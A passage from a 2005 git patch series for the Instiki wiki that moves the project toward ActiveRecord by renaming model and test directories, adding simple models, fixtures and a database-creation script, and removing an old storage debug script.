models-old}/page_set.rb | 0 app/{models => models-old}/revision.rb | 0 app/{models => models-old}/web.rb | 0 app/{models => models-old}/wiki_content.rb | 0 app/{models => models-old}/wiki_service.rb | 0 app/{models => models-old}/wiki_words.rb | 0 {test => test-old}/all_tests.rb | 0 {test => test-old}/fixtures/rails.gif | Bin .../functional/admin_controller_test.rb | 0 {test => test-old}/functional/application_test.rb | 0 .../functional/file_controller_test.rb | 0 {test => test-old}/functional/routes_test.rb | 0 .../functional/wiki_controller_test.rb | 0 {test => test-old}/test_helper.rb | 0 {test => test-old}/unit/chunks/category_test.rb | 0 {test => test-old}/unit/chunks/nowiki_test.rb | 0 {test => test-old}/unit/chunks/wiki_test.rb | 0 {test => test-old}/unit/diff_test.rb | 0 {test => test-old}/unit/file_yard_test.rb | 0 {test => test-old}/unit/page_test.rb | 0 {test => test-old}/unit/redcloth_for_tex_test.rb | 0 {test => test-old}/unit/revision_test.rb | 0 {test => test-old}/unit/uri_test.rb | 0 {test => test-old}/unit/web_test.rb | 0 {test => test-old}/unit/wiki_service_test.rb | 0 {test => test-old}/unit/wiki_words_test.rb | 0 {test => test-old}/watir/e2e.rb | 0 40 files changed, 0 insertions(+), 0 deletions(-) rename app/{models => models-old}/author.rb (100%) rename app/{models => models-old}/chunks/category.rb (100%) rename app/{models => models-old}/chunks/chunk.rb (100%) rename app/{models => models-old}/chunks/engines.rb (100%) rename app/{models => models-old}/chunks/include.rb (100%) rename app/{models => models-old}/chunks/literal.rb (100%) rename app/{models => models-old}/chunks/nowiki.rb (100%) rename app/{models => models-old}/chunks/test.rb (100%) rename app/{models => models-old}/chunks/uri.rb (100%) rename app/{models => models-old}/chunks/wiki.rb (100%) rename app/{models => models-old}/file_yard.rb (100%) rename app/{models => models-old}/page.rb (100%) rename app/{models => models-old}/page_lock.rb (100%) rename app/{models => models-old}/page_set.rb (100%) rename app/{models => models-old}/revision.rb (100%) rename app/{models => models-old}/web.rb (100%) rename app/{models => models-old}/wiki_content.rb (100%) rename app/{models => models-old}/wiki_service.rb (100%) rename app/{models => models-old}/wiki_words.rb (100%) rename {test => test-old}/all_tests.rb (100%) rename {test => test-old}/fixtures/rails.gif (100%) rename {test => test-old}/functional/admin_controller_test.rb (100%) rename {test => test-old}/functional/application_test.rb (100%) rename {test => test-old}/functional/file_controller_test.rb (100%) rename {test => test-old}/functional/routes_test.rb (100%) rename {test => test-old}/functional/wiki_controller_test.rb (100%) rename {test => test-old}/test_helper.rb (100%) rename {test => test-old}/unit/chunks/category_test.rb (100%) rename {test => test-old}/unit/chunks/nowiki_test.rb (100%) rename {test => test-old}/unit/chunks/wiki_test.rb (100%) rename {test => test-old}/unit/diff_test.rb (100%) rename {test => test-old}/unit/file_yard_test.rb (100%) rename {test => test-old}/unit/page_test.rb (100%) rename {test => test-old}/unit/redcloth_for_tex_test.rb (100%) rename {test => test-old}/unit/revision_test.rb (100%) rename {test => test-old}/unit/uri_test.rb (100%) rename {test => test-old}/unit/web_test.rb (100%) rename {test => test-old}/unit/wiki_service_test.rb (100%) rename {test => test-old}/unit/wiki_words_test.rb (100%) rename {test => test-old}/watir/e2e.rb (100%) diff --git a/app/models/author.rb b/app/models-old/author.rb similarity index 100% rename from app/models/author.rb rename to app/models-old/author.rb diff --git a/app/models/chunks/category.rb b/app/models-old/chunks/category.rb similarity index 100% rename from app/models/chunks/category.rb rename to app/models-old/chunks/category.rb diff --git a/app/models/chunks/chunk.rb b/app/models-old/chunks/chunk.rb similarity index 100% rename from app/models/chunks/chunk.rb rename to app/models-old/chunks/chunk.rb diff --git a/app/models/chunks/engines.rb b/app/models-old/chunks/engines.rb similarity index 100% rename from app/models/chunks/engines.rb rename to app/models-old/chunks/engines.rb diff --git a/app/models/chunks/include.rb b/app/models-old/chunks/include.rb similarity index 100% rename from app/models/chunks/include.rb rename to app/models-old/chunks/include.rb diff --git a/app/models/chunks/literal.rb b/app/models-old/chunks/literal.rb similarity index 100% rename from app/models/chunks/literal.rb rename to app/models-old/chunks/literal.rb diff --git a/app/models/chunks/nowiki.rb b/app/models-old/chunks/nowiki.rb similarity index 100% rename from app/models/chunks/nowiki.rb rename to app/models-old/chunks/nowiki.rb diff --git a/app/models/chunks/test.rb b/app/models-old/chunks/test.rb similarity index 100% rename from app/models/chunks/test.rb rename to app/models-old/chunks/test.rb diff --git a/app/models/chunks/uri.rb b/app/models-old/chunks/uri.rb similarity index 100% rename from app/models/chunks/uri.rb rename to app/models-old/chunks/uri.rb diff --git a/app/models/chunks/wiki.rb b/app/models-old/chunks/wiki.rb similarity index 100% rename from app/models/chunks/wiki.rb rename to app/models-old/chunks/wiki.rb diff --git a/app/models/file_yard.rb b/app/models-old/file_yard.rb similarity index 100% rename from app/models/file_yard.rb rename to app/models-old/file_yard.rb diff --git a/app/models/page.rb b/app/models-old/page.rb similarity index 100% rename from app/models/page.rb rename to app/models-old/page.rb diff --git a/app/models/page_lock.rb b/app/models-old/page_lock.rb similarity index 100% rename from app/models/page_lock.rb rename to app/models-old/page_lock.rb diff --git a/app/models/page_set.rb b/app/models-old/page_set.rb similarity index 100% rename from app/models/page_set.rb rename to app/models-old/page_set.rb diff --git a/app/models/revision.rb b/app/models-old/revision.rb similarity index 100% rename from app/models/revision.rb rename to app/models-old/revision.rb diff --git a/app/models/web.rb b/app/models-old/web.rb similarity index 100% rename from app/models/web.rb rename to app/models-old/web.rb diff --git a/app/models/wiki_content.rb b/app/models-old/wiki_content.rb similarity index 100% rename from app/models/wiki_content.rb rename to app/models-old/wiki_content.rb diff --git a/app/models/wiki_service.rb b/app/models-old/wiki_service.rb similarity index 100% rename from app/models/wiki_service.rb rename to app/models-old/wiki_service.rb diff --git a/app/models/wiki_words.rb b/app/models-old/wiki_words.rb similarity index 100% rename from app/models/wiki_words.rb rename to app/models-old/wiki_words.rb diff --git a/test/all_tests.rb b/test-old/all_tests.rb similarity index 100% rename from test/all_tests.rb rename to test-old/all_tests.rb diff --git a/test/fixtures/rails.gif b/test-old/fixtures/rails.gif similarity index 100% rename from test/fixtures/rails.gif rename to test-old/fixtures/rails.gif diff --git a/test/functional/admin_controller_test.rb b/test-old/functional/admin_controller_test.rb similarity index 100% rename from test/functional/admin_controller_test.rb rename to test-old/functional/admin_controller_test.rb diff --git a/test/functional/application_test.rb b/test-old/functional/application_test.rb similarity index 100% rename from test/functional/application_test.rb rename to test-old/functional/application_test.rb diff --git a/test/functional/file_controller_test.rb b/test-old/functional/file_controller_test.rb similarity index 100% rename from test/functional/file_controller_test.rb rename to test-old/functional/file_controller_test.rb diff --git a/test/functional/routes_test.rb b/test-old/functional/routes_test.rb similarity index 100% rename from test/functional/routes_test.rb rename to test-old/functional/routes_test.rb diff --git a/test/functional/wiki_controller_test.rb b/test-old/functional/wiki_controller_test.rb similarity index 100% rename from test/functional/wiki_controller_test.rb rename to test-old/functional/wiki_controller_test.rb diff --git a/test/test_helper.rb b/test-old/test_helper.rb similarity index 100% rename from test/test_helper.rb rename to test-old/test_helper.rb diff --git a/test/unit/chunks/category_test.rb b/test-old/unit/chunks/category_test.rb similarity index 100% rename from test/unit/chunks/category_test.rb rename to test-old/unit/chunks/category_test.rb diff --git a/test/unit/chunks/nowiki_test.rb b/test-old/unit/chunks/nowiki_test.rb similarity index 100% rename from test/unit/chunks/nowiki_test.rb rename to test-old/unit/chunks/nowiki_test.rb diff --git a/test/unit/chunks/wiki_test.rb b/test-old/unit/chunks/wiki_test.rb similarity index 100% rename from test/unit/chunks/wiki_test.rb rename to test-old/unit/chunks/wiki_test.rb diff --git a/test/unit/diff_test.rb b/test-old/unit/diff_test.rb similarity index 100% rename from test/unit/diff_test.rb rename to test-old/unit/diff_test.rb diff --git a/test/unit/file_yard_test.rb b/test-old/unit/file_yard_test.rb similarity index 100% rename from test/unit/file_yard_test.rb rename to test-old/unit/file_yard_test.rb diff --git a/test/unit/page_test.rb b/test-old/unit/page_test.rb similarity index 100% rename from test/unit/page_test.rb rename to test-old/unit/page_test.rb diff --git a/test/unit/redcloth_for_tex_test.rb b/test-old/unit/redcloth_for_tex_test.rb similarity index 100% rename from test/unit/redcloth_for_tex_test.rb rename to test-old/unit/redcloth_for_tex_test.rb diff --git a/test/unit/revision_test.rb b/test-old/unit/revision_test.rb similarity index 100% rename from test/unit/revision_test.rb rename to test-old/unit/revision_test.rb diff --git a/test/unit/uri_test.rb b/test-old/unit/uri_test.rb similarity index 100% rename from test/unit/uri_test.rb rename to test-old/unit/uri_test.rb diff --git a/test/unit/web_test.rb b/test-old/unit/web_test.rb similarity index 100% rename from test/unit/web_test.rb rename to test-old/unit/web_test.rb diff --git a/test/unit/wiki_service_test.rb b/test-old/unit/wiki_service_test.rb similarity index 100% rename from test/unit/wiki_service_test.rb rename to test-old/unit/wiki_service_test.rb diff --git a/test/unit/wiki_words_test.rb b/test-old/unit/wiki_words_test.rb similarity index 100% rename from test/unit/wiki_words_test.rb rename to test-old/unit/wiki_words_test.rb diff --git a/test/watir/e2e.rb b/test-old/watir/e2e.rb similarity index 100% rename from test/watir/e2e.rb rename to test-old/watir/e2e.rb From 1b8baa3d03c1ca13bdefe1f24794998c169704d7 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 2 Aug 2005 08:56:09 +0000 Subject: [PATCH 320/529] Some infrastructure for AR and accompanying unit tests --- app/model/page.rb | 4 ++ app/model/revision.rb | 3 + app/model/web.rb | 3 + config/database.yml | 6 +- config/environment.rb | 115 ++++++++++++++++++++---------------- config/environments/test.rb | 2 - db/webs.erbsql | 2 +- lib/active_record_stub.rb | 31 ---------- lib/db_structure.rb | 2 +- script/create_db | 24 ++++++++ script/debug_storage | 97 ------------------------------ test/fixtures/pages.yml | 2 + test/fixtures/revisions.yml | 2 + test/fixtures/webs.yml | 2 + test/test_helper.rb | 26 ++++++++ test/unit/page_test.rb | 7 +++ test/unit/revision_test.rb | 7 +++ test/unit/web_test.rb | 7 +++ 18 files changed, 155 insertions(+), 187 deletions(-) create mode 100644 app/model/page.rb create mode 100644 app/model/revision.rb create mode 100644 app/model/web.rb delete mode 100644 lib/active_record_stub.rb create mode 100644 script/create_db delete mode 100644 script/debug_storage create mode 100644 test/fixtures/pages.yml create mode 100644 test/fixtures/revisions.yml create mode 100644 test/fixtures/webs.yml create mode 100644 test/test_helper.rb create mode 100644 test/unit/page_test.rb create mode 100644 test/unit/revision_test.rb create mode 100644 test/unit/web_test.rb diff --git a/app/model/page.rb b/app/model/page.rb new file mode 100644 index 00000000..5f85c8ab --- /dev/null +++ b/app/model/page.rb @@ -0,0 +1,4 @@ +class Page < ActiveRecord::Base + belongs_to :web + has_many :pages +end \ No newline at end of file diff --git a/app/model/revision.rb b/app/model/revision.rb new file mode 100644 index 00000000..017b3543 --- /dev/null +++ b/app/model/revision.rb @@ -0,0 +1,3 @@ +class Revision < ActiveRecord::Base + belongs_to :page +end \ No newline at end of file diff --git a/app/model/web.rb b/app/model/web.rb new file mode 100644 index 00000000..2c31bf8f --- /dev/null +++ b/app/model/web.rb @@ -0,0 +1,3 @@ +class Web < ActiveRecord::Base + has_many :pages +end \ No newline at end of file diff --git a/config/database.yml b/config/database.yml index c21e3f65..1233b7e3 100644 --- a/config/database.yml +++ b/config/database.yml @@ -1,6 +1,6 @@ # SQLite is enabled by default. Remember to change the dbfile path. production: - adapter: sqlite + adapter: sqlite3 dbfile: /tmp/instiki_prod.db # Uncomment this section for MySQL: @@ -21,10 +21,10 @@ production: # The following settings are only used for testing and development. development: - adapter: sqlite + adapter: sqlite3 dbfile: /tmp/instiki_dev.db test: - adapter: sqlite + adapter: sqlite3 dbfile: /tmp/instiki_test.db diff --git a/config/environment.rb b/config/environment.rb index bc3ac725..589025c8 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -1,5 +1,10 @@ -if RUBY_VERSION < '1.8.1' - puts 'Instiki requires Ruby 1.8.1+' +# Load the Rails framework and configure your application. +# You can include your own configuration at the end of this file. +# +# Be sure to restart your webserver when you modify this file. + +if RUBY_VERSION < '1.8.2' + puts 'Instiki requires Ruby 1.8.2+' exit end @@ -7,76 +12,82 @@ end $KCODE = 'u' require 'jcode' -RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + '/../') unless defined? RAILS_ROOT -RAILS_ENV = ENV['RAILS_ENV'] || 'production' unless defined? RAILS_ENV +# The path to the root directory of your application. +RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + '/../') -unless defined? ADDITIONAL_LOAD_PATHS - # Mocks first. - ADDITIONAL_LOAD_PATHS = ["#{RAILS_ROOT}/test/mocks/#{RAILS_ENV}"] +# The environment your application is currently running. Don't set +# this here; put it in your webserver's configuration as the RAILS_ENV +# environment variable instead. +# +# See config/environments/*.rb for environment-specific configuration. +RAILS_ENV = ENV['RAILS_ENV'] || 'development' - # Then model subdirectories. - ADDITIONAL_LOAD_PATHS.concat(Dir["#{RAILS_ROOT}/app/models/[_a-z]*"]) - ADDITIONAL_LOAD_PATHS.concat(Dir["#{RAILS_ROOT}/components/[_a-z]*"]) +# Load the Rails framework. Mock classes for testing come first. +ADDITIONAL_LOAD_PATHS = ["#{RAILS_ROOT}/test/mocks/#{RAILS_ENV}"] - # Followed by the standard includes. - ADDITIONAL_LOAD_PATHS.concat %w( - app - app/models - app/controllers - app/helpers - app/apis - components - config - lib - vendor - vendor/rails/railties - vendor/rails/railties/lib - vendor/rails/actionpack/lib - vendor/rails/activesupport/lib - vendor/rails/activerecord/lib - vendor/rails/actionmailer/lib - vendor/rails/actionwebservice/lib - vendor/madeleine-0.7.1/lib - vendor/RedCloth-3.0.3/lib - vendor/rubyzip-0.5.8/lib - ).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}" - }.delete_if { |dir| not File.exist?(dir) } +# Then model subdirectories. +ADDITIONAL_LOAD_PATHS.concat(Dir["#{RAILS_ROOT}/app/models/[_a-z]*"]) +ADDITIONAL_LOAD_PATHS.concat(Dir["#{RAILS_ROOT}/components/[_a-z]*"]) - # Prepend to $LOAD_PATH - ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } -end +# Followed by the standard includes. +ADDITIONAL_LOAD_PATHS.concat %w( + app + app/models + app/controllers + app/helpers + app/apis + components + config + lib + vendor + vendor/rails/railties + vendor/rails/railties/lib + vendor/rails/actionpack/lib + vendor/rails/activesupport/lib + vendor/rails/activerecord/lib + vendor/rails/actionmailer/lib + vendor/rails/actionwebservice/lib + vendor/RedCloth-3.0.3/lib + vendor/rubyzip-0.5.8/lib +).map { |dir| "#{RAILS_ROOT}/#{dir}" }.select { |dir| File.directory?(dir) } + +# Prepend to $LOAD_PATH +ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } # Require Rails libraries. require 'rubygems' unless File.directory?("#{RAILS_ROOT}/vendor/rails") require 'active_support' +require 'active_record' require 'action_controller' -require_dependency 'instiki_errors' -require_dependency 'active_record_stub' - -# Environment specific configuration +# Environment-specific configuration. require_dependency "environments/#{RAILS_ENV}" +ActiveRecord::Base.configurations = File.open("#{RAILS_ROOT}/config/database.yml") { |f| YAML::load(f) } +ActiveRecord::Base.establish_connection # Configure defaults if the included environment did not. -unless defined? RAILS_DEFAULT_LOGGER +begin + RAILS_DEFAULT_LOGGER = Logger.new("#{RAILS_ROOT}/log/#{RAILS_ENV}.log") + RAILS_DEFAULT_LOGGER.level = (RAILS_ENV == 'production' ? Logger::INFO : Logger::DEBUG) +rescue StandardError RAILS_DEFAULT_LOGGER = Logger.new(STDERR) - ActionController::Base.logger ||= RAILS_DEFAULT_LOGGER - if $instiki_debug_logging - RAILS_DEFAULT_LOGGER.level = Logger::DEBUG - ActionController::Base.logger.level = Logger::DEBUG - else - RAILS_DEFAULT_LOGGER.level = Logger::INFO - ActionController::Base.logger.level = Logger::INFO - end + RAILS_DEFAULT_LOGGER.level = Logger::WARN + RAILS_DEFAULT_LOGGER.warn( + "Rails Error: Unable to access log file. Please ensure that log/#{RAILS_ENV}.log exists and is chmod 0666. " + + "The log level has been raised to WARN and the output directed to STDERR until the problem is fixed." + ) end -ActionController::Base.template_root ||= "#{RAILS_ROOT}/app/views/" +[ActiveRecord, ActionController, ActionMailer].each { |mod| mod::Base.logger ||= RAILS_DEFAULT_LOGGER } +[ActionController, ActionMailer].each { |mod| mod::Base.template_root ||= "#{RAILS_ROOT}/app/views/" } + +# Set up routes. ActionController::Routing::Routes.reload + Controllers = Dependencies::LoadingModule.root( File.join(RAILS_ROOT, 'app', 'controllers'), File.join(RAILS_ROOT, 'components') ) -require 'wiki_service' -Socket.do_not_reverse_lookup = true +require_dependency 'instiki_errors' diff --git a/config/environments/test.rb b/config/environments/test.rb index ece6e9cf..fac509a1 100644 --- a/config/environments/test.rb +++ b/config/environments/test.rb @@ -12,6 +12,4 @@ unless defined? TEST_LOGGER TEST_LOGGER = ActionController::Base.logger = Logger.new(log_name) $instiki_debug_logging = true - - WikiService.storage_path = RAILS_ROOT + '/storage/test/' end diff --git a/db/webs.erbsql b/db/webs.erbsql index 24ebc04a..bbb9758c 100644 --- a/db/webs.erbsql +++ b/db/webs.erbsql @@ -1,4 +1,4 @@ -CREATE TABLE pages ( +CREATE TABLE webs ( id <%= @pk %>, created_at <%= @datetime %> NOT NULL, updated_at <%= @datetime %> NOT NULL, diff --git a/lib/active_record_stub.rb b/lib/active_record_stub.rb deleted file mode 100644 index 126beb0b..00000000 --- a/lib/active_record_stub.rb +++ /dev/null @@ -1,31 +0,0 @@ -# This project uses Railties, which has an external dependency on ActiveRecord -# Since ActiveRecord may not be present in Instiki runtime environment, this -# file provides a stub replacement for it - -module ActiveRecord - class Base - - # dependency in railties/lib/dispatcher.rb - def self.reset_column_information_and_inheritable_attributes_for_all_subclasses - # noop - end - - # dependency in actionpack/lib/action_controller/benchmarking.rb - def self.connected? - false - end - - # dependency in actionpack/lib/action_controller/benchmarking.rb - def self.connection - return ConnectionStub - end - - end - - module ConnectionStub - def self.reset_runtime - 0 - end - end - -end diff --git a/lib/db_structure.rb b/lib/db_structure.rb index 0a2c4beb..c7b58c33 100644 --- a/lib/db_structure.rb +++ b/lib/db_structure.rb @@ -25,7 +25,7 @@ def db_structure(db) end s = '' - Dir['db/*.erbsql'].each do |filename| + Dir[RAILS_ROOT + '/db/*.erbsql'].each do |filename| s += ERB.new(File.read(filename)).result end s diff --git a/script/create_db b/script/create_db new file mode 100644 index 00000000..b421fb8c --- /dev/null +++ b/script/create_db @@ -0,0 +1,24 @@ +#!/usr/bin/env ruby + +APP_ROOT = File.expand_path(File.dirname(__FILE__)) + '/../' + +require APP_ROOT + 'config/environment' +require 'db_structure' + +config = ActiveRecord::Base.configurations + +['production', 'test', 'development'].each do |target| + begin + ENV['RAILS_ENV'] = target + load APP_ROOT + 'config/environment.rb' + puts "Creating tables for #{target}..." + + db_structure(config[target]['adapter']).split(/\s*;\s*/).each do |sql| + ActiveRecord::Base.connection.execute(sql) + end + + puts "done." + rescue => e + puts "failed: " + e.inspect + end +end diff --git a/script/debug_storage b/script/debug_storage deleted file mode 100644 index 8b0060f0..00000000 --- a/script/debug_storage +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/ruby - -=begin -The purpose of this script is to help people poke around in the Madeleine storage. - -Two caveats: -1. You MUST be a reasonably good Ruby programmer to use it successfully for anything non-trivial. -2. It's very easy to screw up something by poking in the storage internals. If you do, please - undo your changes by deleting the most recent snapshot(s) and don't ask for help. - -Usage example: - -E:\eclipse\workspace\instiki\script>irb -irb(main):001:0> load 'debug_storage' -Enter path to storage [E:/eclipse/workspace/instiki/storage/2500]: -Loading storage from the default storage path (E:/eclipse/workspace/instiki/storage/2500) -Instiki storage from E:/eclipse/workspace/instiki/storage/2500 is loaded. -Access it via global variable $wiki. -Happy poking! -=> true -irb(main):003:0> $wiki.system -=> {"password"=>"foo"} -irb(main):005:0> $wiki.system['password'] = 'bar' -=> "bar" -irb(main):006:0> $wiki.webs.keys -=> ["wiki1", "wiki2"] -irb(main):007:0> $wiki.webs['wiki1'].password = 'the_password' -=> "the_password" -irb(main):008:0> WikiService::snapshot -=> [] - - -Things that are possible: - -# cleaning old revisions -$wiki.webs['wiki'].pages['HomePage'].revisions = $wiki.webs['wiki'].pages['HomePage'].revisions[-1..-1] - -# Changing contents of a revision -$wiki.webs['wiki'].pages['HomePage'].revisions[-1] = 'new content' - -# Checking that all pages can be rendered by the markup engine -$wiki.webs['wiki'].pages.each_pair do |name, page| - page.revisions.each_with_index do |revision, i| - begin - revision.display_content - rescue => - puts "Error when rendering revision ##{i} of page #{name.inspect}:" - puts e.message - puts e.backtrace.join("\n") - end -end -=end - -require 'fileutils' -require 'optparse' -require 'webrick' - -default_storage_path = File.expand_path(File.dirname(__FILE__) + "/../storage/2500") - -print "Enter path to storage [#{default_storage_path}]: " -storage_path = gets.chomp -if storage_path.empty? - storage_path = default_storage_path - puts "Loading storage from the default storage path (#{storage_path})" -else - puts "Loading storage from the path you entered (#{storage_path})" -end - -unless File.directory?(storage_path) and not - (Dir["#{storage_path}/*.snapshot"] + Dir["#{storage_path}/*.command_log"]).empty? - raise "Found no storage at #{storage_path}" -end - -RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + '/../') unless defined? RAILS_ROOT - -unless defined? ADDITIONAL_LOAD_PATHS - ADDITIONAL_LOAD_PATHS = %w( - app/models - lib - vendor/madeleine-0.7.1/lib - vendor/RedCloth-3.0.3/lib - vendor/rubyzip-0.5.8/lib - ).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}" - }.delete_if { |dir| not File.exist?(dir) } - - # Prepend to $LOAD_PATH - ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } -end - -require 'wiki_service' - -WikiService.storage_path = storage_path -$wiki = WikiService.instance -puts "Instiki storage from #{storage_path} is loaded." -puts 'Access it via global variable $wiki.' -puts 'Happy poking!' -nil diff --git a/test/fixtures/pages.yml b/test/fixtures/pages.yml new file mode 100644 index 00000000..9f856f2a --- /dev/null +++ b/test/fixtures/pages.yml @@ -0,0 +1,2 @@ +home_page: + id: 1 diff --git a/test/fixtures/revisions.yml b/test/fixtures/revisions.yml new file mode 100644 index 00000000..6538429d --- /dev/null +++ b/test/fixtures/revisions.yml @@ -0,0 +1,2 @@ +home_page_first_revision: + id: 1 diff --git a/test/fixtures/webs.yml b/test/fixtures/webs.yml new file mode 100644 index 00000000..8c4a2778 --- /dev/null +++ b/test/fixtures/webs.yml @@ -0,0 +1,2 @@ +test_wiki: + id: 1 diff --git a/test/test_helper.rb b/test/test_helper.rb new file mode 100644 index 00000000..19219ce7 --- /dev/null +++ b/test/test_helper.rb @@ -0,0 +1,26 @@ +ENV["RAILS_ENV"] = "test" + +# Expand the path to environment so that Ruby does not load it multiple times +# File.expand_path can be removed if Ruby 1.9 is in use. +require File.expand_path(File.dirname(__FILE__) + "/../config/environment") +require 'application' + +require 'test/unit' +require 'active_record/fixtures' +require 'action_controller/test_process' +require 'action_web_service/test_invoke' +require 'breakpoint' + +Test::Unit::TestCase.fixture_path = File.dirname(__FILE__) + "/fixtures/" + +class Test::Unit::TestCase + # Turn these on to use transactional fixtures with table_name(:fixture_name) instantiation of fixtures + # self.use_transactional_fixtures = true + # self.use_instantiated_fixtures = false + + def create_fixtures(*table_names) + Fixtures.create_fixtures(File.dirname(__FILE__) + "/fixtures", table_names) + end + + # Add more helper methods to be used by all tests here... +end \ No newline at end of file diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb new file mode 100644 index 00000000..8af94246 --- /dev/null +++ b/test/unit/page_test.rb @@ -0,0 +1,7 @@ +require File.dirname(__FILE__) + '/../test_helper' + +class PageTest < Test::Unit::TestCase + + fixtures 'webs', 'pages', 'revisions' + +end diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb new file mode 100644 index 00000000..0024c6b3 --- /dev/null +++ b/test/unit/revision_test.rb @@ -0,0 +1,7 @@ +require File.dirname(__FILE__) + '/../test_helper' + +class RevisionTest < Test::Unit::TestCase + + fixtures 'webs', 'pages', 'revisions' + +end diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb new file mode 100644 index 00000000..2e504e0c --- /dev/null +++ b/test/unit/web_test.rb @@ -0,0 +1,7 @@ +require File.dirname(__FILE__) + '/../test_helper' + +class WebTest < Test::Unit::TestCase + + fixtures 'webs', 'pages', 'revisions' + +end From 125cc37135dabc6cc8d3f8ef1c0ea12a0b2372ff Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 2 Aug 2005 08:59:57 +0000 Subject: [PATCH 321/529] Added non-nullable fields to fixtures --- test/fixtures/pages.yml | 3 +++ test/fixtures/revisions.yml | 4 ++++ test/fixtures/webs.yml | 4 ++++ 3 files changed, 11 insertions(+) diff --git a/test/fixtures/pages.yml b/test/fixtures/pages.yml index 9f856f2a..2c62113c 100644 --- a/test/fixtures/pages.yml +++ b/test/fixtures/pages.yml @@ -1,2 +1,5 @@ home_page: id: 1 + created_at: 2004-08-01 + updated_at: 2005-08-01 + web_id: 1 \ No newline at end of file diff --git a/test/fixtures/revisions.yml b/test/fixtures/revisions.yml index 6538429d..9d43eb26 100644 --- a/test/fixtures/revisions.yml +++ b/test/fixtures/revisions.yml @@ -1,2 +1,6 @@ home_page_first_revision: id: 1 + created_at: 2004-08-01 + updated_at: 2005-08-01 + page_id: 1 + content: some text \ No newline at end of file diff --git a/test/fixtures/webs.yml b/test/fixtures/webs.yml index 8c4a2778..7276bb65 100644 --- a/test/fixtures/webs.yml +++ b/test/fixtures/webs.yml @@ -1,2 +1,6 @@ test_wiki: id: 1 + created_at: 2004-08-01 + updated_at: 2005-08-01 + name: wiki + address: wiki \ No newline at end of file From 6fb0102a5ad9c4430aa7bfee7c15c649d0d2fd6d Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Mon, 8 Aug 2005 04:32:03 +0000 Subject: [PATCH 322/529] Just checking authentication --- README | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README b/README index adbaaaf1..b5df8534 100755 --- a/README +++ b/README @@ -66,3 +66,5 @@ Make sure that you always launch Instiki from the same working directory, or spe Author:: David Heinemeier Hansson Email:: david@loudthinking.com Weblog:: http://www.loudthinking.com + + From e4ecb406bf3535639d03285092548b3276937d30 Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Tue, 9 Aug 2005 01:18:00 +0000 Subject: [PATCH 323/529] renamed model directory --- app/{model => models}/page.rb | 0 app/{model => models}/revision.rb | 0 app/{model => models}/web.rb | 0 3 files changed, 0 insertions(+), 0 deletions(-) rename app/{model => models}/page.rb (100%) rename app/{model => models}/revision.rb (100%) rename app/{model => models}/web.rb (100%) diff --git a/app/model/page.rb b/app/models/page.rb similarity index 100% rename from app/model/page.rb rename to app/models/page.rb diff --git a/app/model/revision.rb b/app/models/revision.rb similarity index 100% rename from app/model/revision.rb rename to app/models/revision.rb diff --git a/app/model/web.rb b/app/models/web.rb similarity index 100% rename from app/model/web.rb rename to app/models/web.rb From 2eb01cd5756912e5da973ecd6ebe249d468bc934 Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Tue, 9 Aug 2005 01:23:11 +0000 Subject: [PATCH 324/529] moved some tests over --- test-old/functional/routes_test.rb => test/functional | 0 test-old/unit/diff_test.rb => test/uni | 0 {test-old => test}/unit/chunks/category_test.rb | 0 {test-old => test}/unit/chunks/nowiki_test.rb | 0 {test-old => test}/unit/chunks/wiki_test.rb | 0 {test-old => test}/unit/file_yard_test.rb | 0 {test-old => test}/unit/redcloth_for_tex_test.rb | 0 {test-old => test}/unit/uri_test.rb | 0 {test-old => test}/unit/wiki_words_test.rb | 0 9 files changed, 0 insertions(+), 0 deletions(-) rename test-old/functional/routes_test.rb => test/functional (100%) rename test-old/unit/diff_test.rb => test/uni (100%) rename {test-old => test}/unit/chunks/category_test.rb (100%) rename {test-old => test}/unit/chunks/nowiki_test.rb (100%) rename {test-old => test}/unit/chunks/wiki_test.rb (100%) rename {test-old => test}/unit/file_yard_test.rb (100%) rename {test-old => test}/unit/redcloth_for_tex_test.rb (100%) rename {test-old => test}/unit/uri_test.rb (100%) rename {test-old => test}/unit/wiki_words_test.rb (100%) diff --git a/test-old/functional/routes_test.rb b/test/functional similarity index 100% rename from test-old/functional/routes_test.rb rename to test/functional diff --git a/test-old/unit/diff_test.rb b/test/uni similarity index 100% rename from test-old/unit/diff_test.rb rename to test/uni diff --git a/test-old/unit/chunks/category_test.rb b/test/unit/chunks/category_test.rb similarity index 100% rename from test-old/unit/chunks/category_test.rb rename to test/unit/chunks/category_test.rb diff --git a/test-old/unit/chunks/nowiki_test.rb b/test/unit/chunks/nowiki_test.rb similarity index 100% rename from test-old/unit/chunks/nowiki_test.rb rename to test/unit/chunks/nowiki_test.rb diff --git a/test-old/unit/chunks/wiki_test.rb b/test/unit/chunks/wiki_test.rb similarity index 100% rename from test-old/unit/chunks/wiki_test.rb rename to test/unit/chunks/wiki_test.rb diff --git a/test-old/unit/file_yard_test.rb b/test/unit/file_yard_test.rb similarity index 100% rename from test-old/unit/file_yard_test.rb rename to test/unit/file_yard_test.rb diff --git a/test-old/unit/redcloth_for_tex_test.rb b/test/unit/redcloth_for_tex_test.rb similarity index 100% rename from test-old/unit/redcloth_for_tex_test.rb rename to test/unit/redcloth_for_tex_test.rb diff --git a/test-old/unit/uri_test.rb b/test/unit/uri_test.rb similarity index 100% rename from test-old/unit/uri_test.rb rename to test/unit/uri_test.rb diff --git a/test-old/unit/wiki_words_test.rb b/test/unit/wiki_words_test.rb similarity index 100% rename from test-old/unit/wiki_words_test.rb rename to test/unit/wiki_words_test.rb From 